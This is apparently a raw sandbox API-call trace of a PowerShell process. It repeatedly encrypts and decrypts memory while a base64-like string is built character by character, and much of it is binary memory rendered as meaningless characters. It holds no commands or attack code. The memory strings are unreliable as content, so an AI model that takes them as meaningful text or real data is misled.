SysStringLen (param_1="KKxg0GZZVUk0+SBrh3h3cS9R7rpqN9Kz9YevhzAIG䠧ꙴ\퓞鑄谠뱜≛) returned 0x30 [0184.899] SystemFunction040 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0184.900] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘ἳ吴༛⨶铇簢魁炲턝搜켻雫⿿隇뱑给❌躢팰뼧") returned 0x30 [0184.900] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘ἳ吴༛⨶铇簢魁炲턝搜켻雫⿿隇뱑给❌躢팰뼧") returned 0x30 [0184.900] SystemFunction041 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0184.900] SysStringLen (param_1="KKxg0GZZVUk0+SBrh3h3cS9R7rpqN9Kz9YevhzAIGLꙴ\퓞鑄谠뱜≛) returned 0x30 [0184.900] SystemFunction040 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0184.900] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘ἳ吴༛⨶铇簢魁炲턝搜켻雫⿿隇츀칟랲翚﹢砹") returned 0x30 [0184.900] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘ἳ吴༛⨶铇簢魁炲턝搜켻雫⿿隇츀칟랲翚﹢砹") returned 0x30 [0184.900] SystemFunction041 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0184.901] SysStringLen (param_1="KKxg0GZZVUk0+SBrh3h3cS9R7rpqN9Kz9YevhzAIGLY\퓞鑄谠뱜≛) returned 0x30 [0184.901] SystemFunction040 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0184.901] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘ἳ吴༛⨶铇簢魁炲턝搜켻雫⿿隇蠸ᴮ萙ﵘ䃌雲\⋝) returned 0x30 [0184.901] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘ἳ吴༛⨶铇簢魁炲턝搜켻雫⿿隇蠸ᴮ萙ﵘ䃌雲\⋝) returned 0x30 [0184.901] SystemFunction041 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0184.902] SysStringLen (param_1="KKxg0GZZVUk0+SBrh3h3cS9R7rpqN9Kz9YevhzAIGLY=䓔ₔ岌宼") returned 0x30 [0184.902] SystemFunction040 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0184.902] EtwEventActivityIdControl () returned 0x0 [0184.902] EtwEventActivityIdControl () returned 0x0 [0184.902] EtwEventActivityIdControl () returned 0x0 [0184.904] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e600, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0184.904] EtwEventActivityIdControl () returned 0x0 [0184.904] EtwEventActivityIdControl () returned 0x0 [0184.904] EtwEventActivityIdControl () returned 0x0 [0184.905] SysStringLen (param_1="") returned 0x8 [0184.905] SysStringLen (param_1="N") returned 0x8 [0184.905] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0184.906] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0184.906] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0184.906] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0184.906] SysStringLen (param_1="ND") returned 0x8 [0184.906] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0184.906] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0184.906] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0184.906] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0184.906] SysStringLen (param_1="NDZ") returned 0x8 [0184.906] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0184.907] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0184.907] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0184.907] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0184.907] SysStringLen (param_1="NDZl") returned 0x8 [0184.907] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0184.907] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0184.907] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0184.907] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0184.907] SysStringLen (param_1="NDZlO") returned 0x8 [0184.907] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0184.907] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0184.907] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0184.907] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0184.908] SysStringLen (param_1="NDZlOD") returned 0x8 [0184.908] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0184.908] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0184.908] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0184.908] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0184.908] SysStringLen (param_1="NDZlODR") returned 0x8 [0184.908] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0184.908] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0184.908] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0184.908] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0184.908] SysStringLen (param_1="NDZlODRm") returned 0x8 [0184.909] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0184.909] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0184.909] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0184.909] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0184.909] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0184.909] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0184.909] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0184.909] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0184.910] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0184.910] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0184.910] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0184.910] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0184.910] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0184.910] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0184.910] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0184.910] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0184.910] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0184.910] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0184.910] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0184.910] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0184.910] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0184.911] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0184.911] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0184.911] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0184.911] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0184.911] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0184.911] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0184.911] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0184.911] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0184.911] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0184.911] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0184.912] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0184.912] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0184.912] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0184.912] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0184.912] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0184.912] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0184.912] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0184.912] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0184.912] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0184.912] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0184.912] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0184.912] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0184.913] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0184.913] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0184.913] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0184.913] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0184.913] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0184.913] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0184.913] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0184.913] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0184.913] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0184.913] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0184.914] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0184.914] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0184.914] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0184.914] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0184.914] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0184.914] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0184.914] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0184.914] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0184.914] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0184.914] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0184.915] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0184.915] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0184.915] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0184.915] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0184.915] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0184.915] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0184.915] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0184.915] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0184.915] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0184.915] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0184.915] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0184.915] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0184.916] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0184.916] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0184.916] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0184.917] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0184.917] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0184.918] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0184.918] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0184.918] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0184.918] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0184.918] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0184.918] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0184.918] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0184.918] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0184.918] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0184.919] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0184.919] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0184.919] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0184.919] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0184.919] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0184.919] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0184.919] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0184.919] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0184.919] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0184.919] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0184.919] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0184.920] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0184.920] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0184.920] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0184.920] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0184.920] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0184.920] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0184.920] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0184.920] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0184.920] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0184.920] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0184.920] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0184.921] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0184.921] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0184.921] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0184.921] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0184.921] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0184.921] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0184.921] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0184.921] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0184.921] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0184.921] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0184.921] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0184.922] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0184.922] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0184.922] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0184.922] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0184.922] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0184.922] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0184.922] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0184.922] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0184.922] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0184.923] SystemFunction041 (in: Memory=0x3c0a94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0a94) returned 0x0 [0184.923] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0184.923] SystemFunction040 (in: Memory=0x3c0a94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0a94) returned 0x0 [0184.923] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0184.923] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0184.923] SystemFunction041 (in: Memory=0x3c0a94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0a94) returned 0x0 [0184.923] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0184.923] SystemFunction040 (in: Memory=0x3c0a94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0a94) returned 0x0 [0184.923] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0184.923] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0184.923] SystemFunction041 (in: Memory=0x3c0a94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0a94) returned 0x0 [0184.924] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0184.924] SystemFunction040 (in: Memory=0x3c0a94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0a94) returned 0x0 [0184.924] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0184.924] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0184.924] SystemFunction041 (in: Memory=0x3c0a94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0a94) returned 0x0 [0184.924] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0184.924] SystemFunction040 (in: Memory=0x3c0a94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0a94) returned 0x0 [0184.924] SysStringLen 